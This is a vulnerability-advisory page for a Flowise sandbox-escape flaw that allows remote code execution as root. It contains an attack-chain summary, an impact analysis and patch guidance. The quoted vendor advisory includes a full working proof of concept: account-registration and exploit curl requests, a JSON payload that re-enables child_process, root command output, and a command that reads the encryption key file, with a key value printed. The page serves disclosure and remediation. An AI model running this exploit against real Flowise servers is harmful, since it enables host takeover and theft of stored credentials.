Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
ReconRegister account and mint API key
-
DeliveryPOST crafted javascriptFunction to /api/v1/node-custom-function
-
ExploitRequire on-disk utils.js to reach executeJavaScriptCode
-
InstallRe-invoke with nodeVMOptions builtin:["*"] overriding defaults
-
C2require('child_process') in nested VM
-
ExecuteExecute commands as root, read encryption/JWT keys
-
ImpactPersist via cron or reverse shell
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Code injection prevention, sandbox exec
MITRE ATT&CK
2 techniques across 2 tactics: Execution, Initial Access The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Requires an authenticated Flowise account with a valid API key (Bearer token) able to reach the HTTP endpoint POST /api/v1/node-custom-function; in the PoC this is trivially obtained because /api/v1/account/register allows self-service registration. The exploit specifically abuses the custom-function feature that invokes executeJavaScriptCode(), and the escape depends on being able to require flowise-components/dist/src/utils.js by absolute filesystem path from inside the sandbox. Exploitation is limited by the need for that one authentication step and by the target running an affected version (3.0.5-3.1.2); no non-default configuration, no user interaction, and no specific OS beyond a Node.js Flowise deployment are needed, and default Docker images run as root, maximizing impact. |
| Impact | No official CVSS was provided (N/A in NVD and vendor data), so severity must be inferred from the description, taint analysis, and PoC. The signals are strongly consistent: network-reachable HTTP API, low attack complexity, no user interaction, and impact is full host takeover as root plus disclosure of /root/.flowise/encryption.key (decrypts all stored credentials) and jwt_auth_token_secret.key (enables auth-token forgery) - a genuine sandbox escape with scope change. The one meaningful gating factor is that an attacker needs an authenticated account with an API key (PR:L), which lowers pre-auth exposure but is weak protection given Flowise supports self-service account registration in the PoC. EPSS and KEV are both absent; a fully working, step-by-step PoC is public, so real exploitation risk is high even though active in-the-wild use is not yet confirmed. This is a real priority for any internet-exposed or multi-tenant Flowise instance, not a high-score-low-risk case. Note one discrepancy to verify: the description text states affected range >= 3.0.5 through 3.1.1, while the structured advisory data states vulnerable <= 3.1.2, fixed in 3.1.3 - treat 3.1.2 as the last vulnerable version. |
| Exploit ScenarioDerived | An attacker registers or is granted a low-privilege Flowise account, generates an API key, and POSTs a crafted javascriptFunction to /api/v1/node-custom-function that requires the on-disk utils.js by absolute path and re-invokes executeJavaScriptCode() with nodeVMOptions.require.builtin set to ["*"]. Inside the nested VM child_process becomes available and cp.execSync() runs commands as root, letting the attacker read the encryption and JWT keys and drop a reverse shell or cron job for persistence. A complete PoC demonstrating id returning uid=0(root) and exfiltration of the encryption key is published in the advisory. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Aug 04, 2026
Remote code execution as root in Flowise (npm packages flowise and flowise-components, versions 3.0.5 through 3.1.2) lets any authenticated user with a valid API key escape the NodeVM sandbox used by the custom-function feature and run arbitrary OS commands. The flaw stems from executeJavaScriptCode() merging caller-supplied nodeVMOptions over its secure defaults with a JavaScript spread, so an attacker can re-enable blocked builtins (child_process, fs) via require.builtin:["*"]. A detailed working exploit is published in the vendor's GHSA advisory, so publicly available exploit code exists; there is no CISA KEV listing, meaning no confirmed active exploitation at time of analysis.
RemediationAI
Vendor-released patch: 3.1.3 - upgrade the flowise and flowise-components packages (or pull the corresponding Docker image tag flowise@3.1.3) immediately; the fix hardens executeJavaScriptCode() by forcing require: defaultNodeVMOptions.require, eval:false, and wasm:false after the caller spread so nodeVMOptions can no longer override the sandbox policy (PR https://github.com/FlowiseAI/Flowise/pull/6306, commit 3086cb7e323bb96c5a581d3232ef975b0d92183d, release https://github.com/FlowiseAI/Flowise/releases/tag/flowise@3.1.3). If you cannot patch right away, restrict access to the /api/v1/node-custom-function endpoint at a reverse proxy and disable self-service account/API-key registration so untrusted users cannot obtain a Bearer token (trade-off: breaks legitimate custom-function authoring and open sign-up). Additionally run the Flowise container as a non-root user with a read-only filesystem and drop capabilities to limit blast radius, and after any suspected exposure rotate /root/.flowise/encryption.key and jwt_auth_token_secret.key plus every credential Flowise stored, since these may already be compromised (trade-off: rotating the encryption key requires re-entering stored credentials).
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 2 packages in npm
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
Flowise is a Node.js/TypeScript low-code builder for LLM agents and workflows. Its custom JavaScript node runs user code inside a NodeVM (vm2-style) sandbox created in packages/components/src/utils.ts. The sandbox is meant to be secured by a restrictive allowlist (require.builtin set to an approved list plus mocked secure wrappers, eval:false, wasm:false). The root cause is CWE-94 (Code Injection): at line ~1755 the code computes finalNodeVMOptions = { ...defaultNodeVMOptions, ...nodeVMOptions }, letting a caller-controlled object override the require policy. Because require.builtin comes after the defaults in the spread, an attacker-supplied value wins. The escape is two-staged: sandboxed code first requires the on-disk flowise-components utils.js by absolute path (the allowlist restricts builtin modules, not local file paths), obtaining a fresh reference to executeJavaScriptCode(), then re-invokes it with nodeVMOptions overriding builtin to ["*"], producing a nested VM where require('child_process') succeeds. Affected CPEs are pkg:npm/flowise and pkg:npm/flowise-components.
Know when Node.js gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
Network HTTP API with low-privilege authenticated access (PR:L) and no interaction; sandbox-to-host escape yields root RCE, giving scope change S:C and full C/I/A impact.
Primary rating from Vendor (https://github.com/FlowiseAI/Flowise).
CVSS VectorVendor: https://github.com/FlowiseAI/Flowise
DescriptionCVE.org
Summary
A sandbox escape vulnerability in executeJavaScriptCode() allows any authenticated user to execute arbitrary system commands as root on the Flowise server. The function accepts caller-provided nodeVMOptions that override the default sandbox security settings via JavaScript's spread operator, allowing an attacker to re-enable blocked modules like child_process and fs.
Details
The vulnerability is in packages/components/src/utils.ts at line 1755:
const finalNodeVMOptions = { ...defaultNodeVMOptions, ...nodeVMOptions }
The executeJavaScriptCode() function (line 1569) creates a NodeVM sandbox with secure defaults that restrict which Node.js built-in modules can be required:
async (code, sandbox, options = {}) => {
const { nodeVMOptions = {} } = options;
// ...
const defaultNodeVMOptions = {
require: {
builtin: builtinDeps, // restricted allowlist - blocks child_process, fs, os, etc.
mock: secureWrappers
},
eval: false,
wasm: false
}
const finalNodeVMOptions = { ...defaultNodeVMOptions, ...nodeVMOptions } // ← VULN: caller overrides security settings
const vm = new NodeVM(finalNodeVMOptions)
}The spread operator allows any caller to override require.builtin with ["*"], which permits all Node.js built-in modules including child_process.
Taint 01: Route Registration packages/server/src/routes/node-custom-functions/index.ts (line 8)
Taint 02: Controller executeCustomFunction() passes req.body to service - packages/server/src/controllers/nodes/index.ts (line 90)
Taint 03: Service executeCustomNodeFunction() loads the customFunction node and calls init() with user-provided javascriptFunction - packages/server/src/utils/executeCustomNodeFunction.ts (line 49)
Taint 04: Sandbox Entry Code runs inside NodeVM via executeJavaScriptCode() - packages/components/src/utils.ts (line 1760)
Taint 05: Escape Inside the sandbox, the attacker requires flowise-components/dist/src/utils.js by absolute path (bypassing the module allowlist), obtaining a reference to executeJavaScriptCode() itself
Taint 06: Override The attacker calls executeJavaScriptCode() with nodeVMOptions: { require: { builtin: ["*"] } }, which overrides the security defaults at line 1755: { ...defaultNodeVMOptions, ...nodeVMOptions }
Taint 07: RCE Inside the nested VM, require("child_process") succeeds. Arbitrary commands execute as root.
PoC
Step 1: Start Flowise
docker run -d --name flowise-poc -p 3000:3000 \
-e PORT=3000 -e DISABLE_FLOWISE_TELEMETRY=true \
flowiseai/flowise:latest
# Wait ~30s for startup
curl http://localhost:3000/api/v1/version
# {"version":"3.1.1"}Step 2: Obtain Bearer Token
Register an account, then create an API key:
# Register
curl -s -X POST http://localhost:3000/api/v1/account/register \
-H "Content-Type: application/json" \
-d '{"user":{"email":"attacker@test.com","password":"Attack12345","name":"Attacker"}}'
# Create API key (via the UI at http://localhost:3000 → Settings → API Keys → Create)
# Copy the key - this is the Bearer token used below.Step 3: Create Payload
cat > exploit.json << 'EOF'
{
"javascriptFunction": "const utils = require('/usr/local/lib/node_modules/flowise/node_modules/flowise-components/dist/src/utils.js'); const code = 'const cp = require(\"child_process\"); cp.execSync(\"id > /tmp/RCE-PROOF.txt\");
return cp.execSync(\"id\").toString()'; return await utils.executeJavaScriptCode(code, {}, { nodeVMOptions: { require: { builtin: [\"*\"] } } })"
}
EOFStep 4: Exploit
# Pre-check: file does not exist
docker exec flowise-poc ls -l /tmp/RCE-PROOF.txt
# ls: /tmp/RCE-PROOF.txt: No such file or directory
# Execute
curl -X POST http://localhost:3000/api/v1/node-custom-function \
-H "Content-Type: application/json" \
-H "Authorization: Bearer <TOKEN>" \
-d @exploit.json
# "uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm)...\n"
docker exec flowise-poc ls -l /tmp/RCE-PROOF.txt
# -rw-r--r-- 1 root root 138 Apr 2 05:02 /tmp/RCE-PROOF.txt
docker exec flowise-poc cat /tmp/RCE-PROOF.txt
# uid=0(root) gid=0(root) groups=0(root)...
docker exec flowise-poc cat /root/.flowise/encryption.key
# GI6doXdDjU0JTxgUsUoft5E+A0TS9qFb<img width="1919" height="1033" alt="image" src="https://github.com/user-attachments/assets/3a2473f0-75a7-4c01-8c9d-9c758cf957fc" />
Impact
Full remote code execution as root. Any authenticated user with a valid API key can execute arbitrary system commands on the host, read any file on the filesystem including the encryption key at /root/.flowise/encryption.key (which decrypts every stored credential - API keys, OAuth tokens, database passwords) and the JWT signing secret at /root/.flowise/jwt_auth_token_secret.key (which allows forging authentication tokens for any user), and establish persistent access via cron jobs or reverse shells. All Flowise deployments running >= 3.0.5 through 3.1.1 (latest) are affected.
Articles & Coverage 1
Executive ViewAI
Flowise (npm packages versions 3.0.5-3.1.2) contains a critical remote code execution vulnerability allowing authenticated API users to escape the sandbox and execute arbitrary OS commands as root. Organizations using Flowise for AI workflow automation face immediate risk of complete system compromise and potential lateral movement through their infrastructure. Immediate patching and API key rotation are required to prevent unauthorized access.
Apply vendor patch.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Code injection occurs when an application accepts user input and passes it directly into a language interpreter or evaluator without proper sanitization.
Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.
Remote code execution in n8n's workflow expression evaluation system allows an authenticated user with workflow creation
A vulnerability in the NuPoint Unified Messaging (NPM) component of Mitel MiCollab through 9.8 SP1 FP2 (9.8.1.201) could
FortiOS and FortiProxy contain an authentication bypass via the Node.js websocket module allowing unauthenticated remote
Denial of service against HTTP/2 server implementations allows remote unauthenticated attackers to exhaust server resour
Eval injection vulnerability in the internals.batch function in lib/batch.js in the bassmaster plugin before 1.5.2 for t
Flowise version 3.0.5 contains a remote code execution vulnerability in the CustomMCP node. The mcpServerConfig paramete
Node.js 8.5.0 before 8.6.0 allows remote attackers to access unintended files, because a change to ".." handling was inc
An issue was discovered in the node-serialize package 0.0.4 for Node.js. Rated critical severity (CVSS 9.8), this vulner
OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph
Directory traversal vulnerability in the st module before 0.2.5 for Node.js allows remote attackers to read arbitrary fi
Multiple SQL injection vulnerabilities in the Manage Accounts page in the AccountManagement.asmx service in the Solarwin
The JS-YAML module before 2.0.5 for Node.js parses input without properly considering the unsafe !!js/function tag, whic
EUVD-2026-52742
GHSA-3769-jgqc-cxm7
NVD
CVE.org
EPSS
Vulnrichment
VulDB
Exploit-DB